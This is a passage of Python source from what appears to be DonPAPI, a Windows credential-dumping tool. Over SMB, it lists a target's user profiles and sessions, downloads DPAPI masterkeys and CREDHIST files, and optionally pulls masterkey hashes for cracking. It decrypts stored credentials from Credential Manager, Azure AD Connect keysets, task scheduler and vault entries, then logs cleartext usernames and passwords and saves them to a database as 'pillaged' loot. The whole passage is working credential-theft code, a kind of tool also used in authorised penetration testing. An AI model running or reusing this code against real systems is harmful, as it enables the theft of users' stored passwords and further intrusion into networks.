|
|
|
|
|
'''
|
|
elif 'WindowsLive:target=virtualapp/didlogical' in data['Target'].decode('utf-16le'):
|
|
self.logging.debug("IT S A Windows Live service or application Cred!")
|
|
clear_data = self.dump_credential_blob(user, localfile, data)
|
|
# ADCONNECT
|
|
elif 'Microsoft_AzureADConnect_KeySet' in data['Target'].decode('utf-16le'):
|
|
self.logging.debug(f"{bcolors.WARNING}IT S A Microsoft_AzureADConnect_KeySet Cred!{bcolors.ENDC}")
|
|
clear_data = self.Get_AD_Connect(user, localfile, data)
|
|
elif 'LegacyGeneric:target=' in data['Target'].decode('utf-16le'): # Autres Targets
|
|
self.logging.debug("Other legacy Credential")
|
|
clear_data = self.dump_credential_blob(user, localfile, data)
|
|
else:
|
|
self.logging.debug("Unknown Cred Target content - testing as Credential BLOB")
|
|
clear_data = self.dump_credential_blob(user, localfile, data)
|
|
# clear_data = ''
|
|
secret_file['secret'] = clear_data
|
|
self.dump_to_file(localfile, clear_data)
|
|
self.logsecret(clear_data)
|
|
|
|
# TSE Account
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Except 2 process_decrypted_data ALL for {localfile} {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def dump_credential_blob(self, user, localfile, decrypted_blob):
|
|
# from impacket.ese import getUnixTime
|
|
try:
|
|
self.logging.debug("Dumping decrypted credential blob info to file")
|
|
# self.logging.debug(decrypted_blob)
|
|
info = "\n"
|
|
info += f"[CREDENTIAL]\n"
|
|
try:
|
|
info += f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n"
|
|
info += f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n"
|
|
info += f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n"
|
|
info += f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n"
|
|
self.logging.debug(info)
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
info += f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n"
|
|
info += f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n"
|
|
info += f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n"
|
|
info += f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n"
|
|
try:
|
|
info += f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n"
|
|
password = f"{decrypted_blob['Unknown3'].decode('utf-16le')}"
|
|
except UnicodeDecodeError:
|
|
info += f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n"
|
|
password = f"{decrypted_blob['Unknown3'].decode('latin-1')}"
|
|
# print()
|
|
if "WindowsLive:target=virtualapp" not in f"{decrypted_blob['Target'].decode('utf-16le')}": # "WindowsLive:target=virtualapp/didlogical" On ne gere pas pour le moment// A voir pour rassembler le contenu en 1 nouveau blob ?
|
|
for entry in decrypted_blob.attributes:
|
|
try:
|
|
info += f"KeyWord : {entry['KeyWord'].decode('utf-16le')}\n"
|
|
info += f"Flags : {entry['Flags']}, {impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, entry['Flags'])}\n"
|
|
info += f"Data : {entry['Data']}\n"
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception 2 decrypted_blob.attributes {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
entry.dump()
|
|
continue
|
|
|
|
############PROCESSING DATA
|
|
self.db.add_credz(credz_type='credential-blob',
|
|
credz_username=decrypted_blob['Username'].decode('utf-16le'),
|
|
credz_password=password,
|
|
credz_target=decrypted_blob['Target'].decode('utf-16le'),
|
|
credz_path=localfile,
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=user.username)
|
|
|
|
self.logging.debug(info)
|
|
return info
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def dump_CREDENTIAL_TSE(self, user, localfile, decrypted_blob):
|
|
# from impacket.ese import getUnixTime
|
|
try:
|
|
self.logging.debug("Dumping TSE decrypted credential blob info to file")
|
|
# self.logging.debug(decrypted_blob)
|
|
info = "\n"
|
|
info += f"[CREDENTIAL]\n"
|
|
try:
|
|
info += f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n"
|
|
info += f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n"
|
|
info += f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n"
|
|
info += f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n"
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
info += f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n"
|
|
info += f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n"
|
|
info += f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n"
|
|
info += f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n"
|
|
try:
|
|
info += f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n"
|
|
password = decrypted_blob['Unknown3'].decode('utf-16le')
|
|
except UnicodeDecodeError:
|
|
info += f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n"
|
|
password = decrypted_blob['Unknown3'].decode('latin-1')
|
|
############PROCESSING DATA
|
|
self.db.add_credz(credz_type='browser-internet_explorer',
|
|
credz_username=decrypted_blob['Username'].decode('utf-16le'),
|
|
credz_password=password,
|
|
credz_target=decrypted_blob['Target'].decode('utf-16le'),
|
|
credz_path=localfile,
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=user.username)
|
|
self.logging.debug(info)
|
|
return info
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def dump_CREDENTIAL_MSOFFICE(self, user, localfile, decrypted_blob):
|
|
# from impacket.ese import getUnixTime
|
|
try:
|
|
self.logging.debug("Dumping Microsoft Office decrypted credential blob info to file")
|
|
# self.logging.debug(decrypted_blob)
|
|
info = "\n"
|
|
info += f"[CREDENTIAL]\n"
|
|
try:
|
|
info += f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n"
|
|
info += f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n"
|
|
info += f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n"
|
|
info += f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n"
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
info += f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n"
|
|
info += f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n"
|
|
info += f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n"
|
|
info += f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n"
|
|
try:
|
|
info += f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n"
|
|
password = decrypted_blob['Unknown3'].decode('utf-16le')
|
|
except UnicodeDecodeError:
|
|
info += f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n"
|
|
password = decrypted_blob['Unknown3'].decode('latin-1')
|
|
|
|
############PROCESSING DATA
|
|
self.db.add_credz(credz_type='browser-internet_explorer',
|
|
credz_username=decrypted_blob['Username'].decode('utf-16le'),
|
|
credz_password=password,
|
|
credz_target=decrypted_blob['Target'].decode('utf-16le'),
|
|
credz_path=localfile,
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=user.username)
|
|
self.logging.debug(info)
|
|
return info
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def dump_CREDENTIAL_TASKSCHEDULER(self, user, localfile, decrypted_blob):
|
|
# from impacket.ese import getUnixTime
|
|
try:
|
|
self.logging.debug("Dumping TASKSCHEDULER decrypted credential blob info to file")
|
|
# self.logging.debug(decrypted_blob)
|
|
info = "\n"
|
|
info += f"[CREDENTIAL]\n"
|
|
try:
|
|
info += f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n"
|
|
info += f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n"
|
|
info += f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n"
|
|
info += f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n"
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
info += f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n"
|
|
info += f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n"
|
|
info += f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n"
|
|
info += f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n"
|
|
try:
|
|
info += f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n"
|
|
password = decrypted_blob['Unknown3'].decode('utf-16le')
|
|
except UnicodeDecodeError:
|
|
info += f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n"
|
|
password = decrypted_blob['Unknown3'].decode('latin-1')
|
|
############PROCESSING DATA
|
|
self.db.add_credz(credz_type='taskscheduler',
|
|
credz_username=decrypted_blob['Username'].decode('utf-16le'),
|
|
credz_password=password,
|
|
credz_target=decrypted_blob['Target'].decode('utf-16le'),
|
|
credz_path=localfile,
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=user.username)
|
|
self.logging.debug(info)
|
|
return info
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def process_decrypted_vault(self, user, secret_file): # data ,user ,localfile,blob_type,args=[]):
|
|
try:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [+] process_decrypted_vault of {secret_file} {bcolors.ENDC}")
|
|
blob_type = secret_file['type']
|
|
localfile = secret_file['path']
|
|
data = secret_file['data']
|
|
|
|
if blob_type == 'vault' or blob_type == 'vcrd':
|
|
try:
|
|
vault_name = secret_file['vault_name'] # args[0]
|
|
vault_type = secret_file['vault_type'] # args[1]
|
|
self.logging.debug(f"Processing Vault {vault_name} - type : {vault_type} ")
|
|
if vault_type == 'WinBio Key':
|
|
data = self.dump_VAULT_WIN_BIO_KEY(user, localfile, data)
|
|
self.logsecret(f"Vault {vault_name} : {data} ")
|
|
elif vault_type == 'NGC Local Account Logon Vault Credential':
|
|
data = self.dump_VAULT_NGC_LOCAL_ACCOOUNT(user, localfile, data)
|
|
self.logsecret(f"Vault {vault_name} : {data} ")
|
|
elif "NGC" in vault_type:
|
|
data = self.dump_VAULT_NGC_ACCOOUNT(user, localfile, data)
|
|
self.logsecret(f"Vault {vault_name} : {data} ")
|
|
elif vault_type == 'Internet Explorer':
|
|
data = self.dump_VAULT_INTERNET_EXPLORER(user, localfile, data)
|
|
|
|
# user.secrets["Vault:%s" % vault_name] = data
|
|
secret_file['secret'] = data
|
|
self.dump_to_file(localfile, data)
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Except 1 process_decrypted_data Vault for {localfile} {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Except 2 process_decrypted_data ALL for {localfile} {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def dump_VAULT_INTERNET_EXPLORER(self, user, localfile, vault_blob):
|
|
try:
|
|
self.logging.debug("Formating VAULT_INTERNET_EXPLORER info")
|
|
retval = "[Internet Explorer]\n"
|
|
retval += f"Username : {vault_blob['Username'].decode('utf-16le')} \n"
|
|
retval += f"Resource : {vault_blob['Resource'].decode('utf-16le')} \n"
|
|
retval += f"Password : {vault_blob['Password'].decode('utf-16le')} : {hexlify(vault_blob['Password'])} \n"
|
|
############PROCESSING DATA
|
|
self.db.add_credz(credz_type='browser-internet_explorer',
|
|
credz_username=f"{vault_blob['Username'].decode('utf-16le')}",
|
|
credz_password=f"{vault_blob['Password'].decode('utf-16le')}",
|
|
credz_target=f"{vault_blob['Resource'].decode('utf-16le')}",
|
|
credz_path=localfile,
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=user.username)
|
|
self.logging.info(
|
|
f"[{self.options.target_ip}] [+]{bcolors.OKGREEN} [Internet Explorer] {bcolors.ENDC} for {vault_blob['Resource'].decode('utf-16le')} [ {bcolors.OKBLUE}{vault_blob['Username'].decode('utf-16le')} : {vault_blob['Password'].decode('utf-16le')}{bcolors.ENDC} ]")
|
|
return retval
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_VAULT_INTERNET_EXPLORER{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def dump_VAULT_WIN_BIO_KEY(self, user, localfile, vault_blob):
|
|
try:
|
|
self.logging.debug("Dumping VAULT_WIN_BIO_KEY info to file")
|
|
retval = "\n[WINDOWS BIOMETRIC KEY]\n"
|
|
retval += 'Sid : %s\n' % RPC_SID(b'\x05\x00\x00\x00' + vault_blob['Sid']).formatCanonical()
|
|
retval += f"Friendly Name: {vault_blob['Name'].decode('utf-16le')}\n"
|
|
retval += f"Biometric Key: 0x{hexlify(vault_blob['BioKey']['bKey']).decode('latin-1')}\n"
|
|
return retval
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_VAULT_WIN_BIO_KEY {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def dump_VAULT_NGC_LOCAL_ACCOOUNT(self, user, localfile, vault_blob):
|
|
try:
|
|
self.logging.debug("Dumping NGC_LOCAL_ACCOOUNT info to file")
|
|
retval = "\n[NGC LOCAL ACCOOUNT]\n"
|
|
retval += 'UnlockKey : %s\n' % hexlify(vault_blob["UnlockKey"])
|
|
retval += 'IV : %s\n' % hexlify(vault_blob["IV"])
|
|
retval += 'CipherText : %s\n' % hexlify(vault_blob["CipherText"])
|
|
return retval
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_NGC_LOCAL_ACCOOUNT {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def dump_VAULT_NGC_ACCOOUNT(self, user, localfile, vault_blob):
|
|
try:
|
|
self.logging.debug("Dumping VAULT_NGC_ACCOOUNT info to file")
|
|
retval = "\n[NGC VAULT]\n"
|
|
retval += 'Sid : %s\n' % RPC_SID(b'\x05\x00\x00\x00' + vault_blob['Sid']).formatCanonical()
|
|
retval += 'Friendly Name: %s\n' % vault_blob['Name'].decode('utf-16le')
|
|
# A completer ?
|
|
vault_blob['Blob'].dump()
|
|
|
|
return retval
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_VAULT_NGC_ACCOOUNT{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def do_who(self):
|
|
# if self.loggedIn is False:
|
|
# self.logging.error("Not logged in")
|
|
# return
|
|
rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename=r'\srvsvc',
|
|
smb_connection=self.smb)
|
|
dce = rpctransport.get_dce_rpc()
|
|
dce.connect()
|
|
dce.bind(srvs.MSRPC_UUID_SRVS)
|
|
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10)
|
|
|
|
for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']:
|
|
self.logging.info("host: %15s, user: %5s, active: %5d, idle: %5d" % (
|
|
session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'],
|
|
session['sesi10_idle_time']))
|
|
self.db.add_connected_user(username=session['sesi10_username'][:-1], ip=session['sesi10_cname'][:-1])
|
|
|
|
def get_users(self):
|
|
self.logging.debug("Listing Users by enumerating directories in $Share\\Users")
|
|
blacklist = ['.', '..', 'desktop.ini']
|
|
shares = self.myfileops.get_shares()
|
|
# Intégrer les users share du premier test
|
|
if 'C$' in shares: # Most likely
|
|
self.myfileops.do_use('C$')
|
|
# self.myfileops.pwd = 'Users'
|
|
completion = self.myfileops.do_ls('Users', '*', display=False)
|
|
for infos in completion:
|
|
longname, is_directory = infos
|
|
if is_directory and longname not in blacklist:
|
|
for user in self.users:
|
|
if longname == user.username:
|
|
break
|
|
else:
|
|
self.users.append(MyUser(longname, self.logging, self.options))
|
|
self.logging.info(
|
|
f"[{self.options.target_ip}] [+] Found user {bcolors.OKBLUE}{longname}{bcolors.ENDC}")
|
|
user = self.GetUserByName(longname)
|
|
self.db.add_user(username=user.username, pillaged_from_computer_ip=self.options.target_ip)
|
|
user.share = 'C$'
|
|
else:
|
|
for share in shares:
|
|
self.myfileops.do_use(share)
|
|
# self.pwd = 'Users'
|
|
completion = self.myfileops.do_ls('Users', '*', display=False)
|
|
for infos in completion:
|
|
longname, is_directory = infos
|
|
if is_directory and longname not in blacklist:
|
|
for user in self.users:
|
|
if longname == user['username']:
|
|
break
|
|
else:
|
|
self.users.append(MyUser(longname, self.logging, self.options))
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] Found user {bcolors.OKBLUE}{longname}{bcolors.ENDC}")
|
|
user = self.GetUserByName(longname)
|
|
self.db.add_user(username=user.username, pillaged_from_computer_ip=self.options.target_ip)
|
|
user.share = share
|
|
# +ADD LOCAL MACHINE ACCOUNT
|
|
user = MyUser("MACHINE$", self.logging, self.options)
|
|
user.type = 'MACHINE'
|
|
user.share = 'C$'
|
|
self.users.append(user)
|
|
self.db.add_user(username=user.username, pillaged_from_computer_ip=self.options.target_ip)
|
|
return self.users
|
|
|
|
def get_masterkeys(self):
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering masterkeys on the target{bcolors.ENDC}")
|
|
blacklist = ['.', '..']
|
|
# self.get_shares()
|
|
# self.get_users()
|
|
for user in self.users:
|
|
if user.username != 'MACHINE$':
|
|
try:
|
|
tmp_pwd = ntpath.join(ntpath.join('Users', user.username), 'AppData\\Roaming\\Microsoft\\Protect')
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] Looking for {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey in %s" % tmp_pwd)
|
|
my_directory = self.myfileops.do_ls(tmp_pwd, '', display=True)
|
|
for infos in my_directory:
|
|
try:
|
|
longname, is_directory = infos
|
|
if longname not in blacklist:
|
|
self.logging.debug(f"[{self.options.target_ip}] Analysing {longname} for Masterkeys")
|
|
if is_directory and longname[:2] == 'S-': # SID
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} - Found SID {longname}")
|
|
user.sid = longname
|
|
if user.sid.startswith('S-1-5-80'):
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.FAIL}{user.username}{bcolors.ENDC} - Found AD CONNECT SID {longname}")
|
|
user.is_adconnect = True
|
|
# user.check_usertype()
|
|
tmp_pwd2 = ntpath.join(tmp_pwd, longname)
|
|
my_directory2 = self.myfileops.do_ls(tmp_pwd2, '', display=False)
|
|
for infos2 in my_directory2:
|
|
longname2, is_directory2 = infos2
|
|
if not is_directory2 and is_guid(longname2): # GUID
|
|
self.download_masterkey(user, tmp_pwd2, longname2, type='USER')
|
|
elif is_directory:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] Found Directory %s -> doing nothing" % longname)
|
|
else:
|
|
self.logging.debug(f"[{self.options.target_ip}] Found file %s" % longname)
|
|
if "CREDHIST" in longname:
|
|
self.download_credhist(user, tmp_pwd, longname, type='USER')
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception in get_masterkeys for {longname}{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
continue
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception get_masterkeys{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
continue
|
|
##MACHINE MASTERKEYS
|
|
try:
|
|
user = self.GetUserByName('MACHINE$')
|
|
# Make a "MACHINE$" user
|
|
"""user=MyUser("MACHINE$",self.logging,self.options)
|
|
user.type='MACHINE'
|
|
self.users.append(user)"""
|
|
|
|
tmp_pwd = 'Windows\\System32\\Microsoft\\Protect' # Add Windows\ServiceProfiles\ADSync\AppData\Roaming\Microsoft\Protect\ for ADConnect ?
|
|
self.logging.debug(f"[{self.options.target_ip}] Looking for Machine Masterkey in %s" % tmp_pwd)
|
|
my_directory = self.myfileops.do_ls(tmp_pwd, '', display=False)
|
|
for infos in my_directory:
|
|
longname, is_directory = infos
|
|
if longname not in blacklist:
|
|
if is_directory and longname[:2] == 'S-': # SID
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} - Found SID {longname}")
|
|
user.sid = longname
|
|
if user.sid.startswith('S-1-5-80'):
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.FAIL}{user.username}{bcolors.ENDC} - Found AD CONNECT SID {longname}")
|
|
user.is_adconnect = True
|
|
tmp_pwd2 = ntpath.join(tmp_pwd, longname)
|
|
my_directory2 = self.myfileops.do_ls(tmp_pwd2, '', display=False)
|
|
for infos2 in my_directory2:
|
|
longname2, is_directory2 = infos2
|
|
if longname2 not in blacklist:
|
|
if not is_directory2 and is_guid(longname2): # GUID
|
|
# Downloading file
|
|
self.download_masterkey(user, tmp_pwd2, longname2, type='MACHINE')
|
|
elif is_directory2 and longname2 == 'User': # On se limite a ca pour le moment
|
|
tmp_pwd3 = ntpath.join(tmp_pwd2, longname2)
|
|
my_directory3 = self.myfileops.do_ls(tmp_pwd3, '', display=False)
|
|
for infos3 in my_directory3:
|
|
longname3, is_directory3 = infos3
|
|
if longname3 not in blacklist:
|
|
if not is_directory3 and is_guid(longname3): # GUID
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {user.username} - Found GUID {longname3}")
|
|
# Downloading file
|
|
self.download_masterkey(user, tmp_pwd3, longname3, type='MACHINE-USER')
|
|
else:
|
|
self.logging.debug(
|
|
"Found unexpected file/directory %s in %s" % (tmp_pwd3, longname3))
|
|
else:
|
|
self.logging.debug(
|
|
"Found unexpected file/directory %s in %s" % (tmp_pwd2, longname2))
|
|
elif is_directory:
|
|
self.logging.debug("Found (not SID) Directory %s" % longname)
|
|
else:
|
|
self.logging.debug("Found file %s" % longname)
|
|
if "CREDHIST" in longname:
|
|
self.download_credhist(user, tmp_pwd, longname, type='MACHINE')
|
|
|
|
except Exception as ex:
|
|
self.logging.error(
|
|
f"[{self.options.target_ip}] {bcolors.FAIL}Error in GetMasterkey (Machine){bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Gathered Masterkeys for {len(self.users)} users{bcolors.ENDC}")
|
|
|
|
def download_credhist(self, user, tmp_pwd, longname, type='MACHINE'):
|
|
# Downloading file
|
|
try:
|
|
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [...] Downloading CREDHIST {user.username} {tmp_pwd} {longname}")
|
|
# from DonPAPI.lib.dpapi_pick.credhist import CredHistFile
|
|
# localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname))
|
|
'''f=open(localfile,'rb')
|
|
credhistdata = f.read()
|
|
f.close()
|
|
myCredhistfile = CredHistFile(raw=credhistdata)
|
|
|
|
print(repr(myCredhistfile))
|
|
#myCredhistfile = CredHistFile(raw=credhistdata)
|
|
for username in self.options.credz:
|
|
if username in user.username: # pour fonctionner aussi avec le .domain ou les sessions multiple citrix en user.domain.001 ?
|
|
self.logging.debug(f"[{self.options.target_ip}] [...] Testing {len(self.options.credz[username])} credz for user {user.username} CREDHIST")
|
|
for password in self.options.credz[username]:
|
|
ret=myCredhistfile.decryptWithPassword(password)
|
|
print(ret)
|
|
'''
|
|
except Exception as ex:
|
|
self.logging.error(f"[{self.options.target_ip}] {bcolors.FAIL}Error in Decrypting Credhist{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def download_masterkey(self, user, path, guid, type):
|
|
guid = guid.lower()
|
|
if is_guid(guid):
|
|
self.logging.debug(f"[{self.options.target_ip}] {user.username} - Found GUID {guid}")
|
|
# Downloading file
|
|
localfile = self.myfileops.get_file(ntpath.join(path, guid))
|
|
# Get Type and hash
|
|
try:
|
|
myoptions = copy.deepcopy(self.options)
|
|
myoptions.sid = user.sid
|
|
myoptions.username = user.username
|
|
myoptions.pvk = None
|
|
myoptions.file = localfile # Masterkeyfile to parse
|
|
# myoptions.key = key.decode("utf-8")
|
|
mydpapi = DPAPI(myoptions, self.logging)
|
|
if self.options.GetHashes == True:
|
|
masterkey_hash, is_domain_sid = mydpapi.get_masterkey_hash(generate_hash=True)
|
|
else:
|
|
masterkey_hash, is_domain_sid = mydpapi.get_masterkey_hash(generate_hash=False)
|
|
except Exception as ex:
|
|
self.logging.error(
|
|
f"[{self.options.target_ip}] {bcolors.FAIL}Error in DownloadMasterkey - get_masterkey_hash{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
try:
|
|
user.masterkeys_file[guid] = {}
|
|
user.masterkeys_file[guid]['path'] = localfile
|
|
user.masterkeys_file[guid]['status'] = 'encrypted'
|
|
if self.options.GetHashes == True:
|
|
user.masterkeys_file[guid]['hash'] = masterkey_hash
|
|
if is_domain_sid and user.username != 'MACHINE$':
|
|
type = 'DOMAIN'
|
|
user.type_validated = True
|
|
user.type = type # LOCAL,DOMAIN,MACHINE,MACHINE-USER
|
|
self.db.add_sid(username=user.username, sid=user.sid)
|
|
self.db.add_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
|
|
status=user.masterkeys_file[guid]['status'],
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=user.username)
|
|
if self.options.GetHashes == True:
|
|
for hash in user.masterkeys_file[guid]['hash']:
|
|
self.db.add_dpapi_hash(file_path=user.masterkeys_file[guid]['path'], sid=user.sid, guid=guid,
|
|
hash=hash, context=type, pillaged_from_computer_ip=self.options.target_ip)
|
|
except Exception as ex:
|
|
self.logging.error(
|
|
f"[{self.options.target_ip}] {bcolors.FAIL}Error in Database entry - download_masterkey_hash{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def get_masterkey(self, user, guid, type):
|
|
guid = guid.lower()
|
|
if guid not in user.masterkeys_file:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} not found")
|
|
return -1
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} Found")
|
|
if user.masterkeys_file[guid]['status'] == 'decrypted':
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} already decrypted")
|
|
return user.masterkeys_file[guid]
|
|
elif user.masterkeys_file[guid]['status'] == 'encrypted':
|
|
return self.decrypt_masterkey(user, guid, type, tested_type=[])
|
|
|
|
def decrypt_masterkey(self, user, guid, type='', tested_type=[]):
|
|
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} of type {type} (type_validated={user.type_validated}/user.type={user.type}) - tested : {tested_type}")
|
|
guid = guid.lower()
|
|
if guid not in user.masterkeys_file:
|
|
self.logging.debug(
|
|
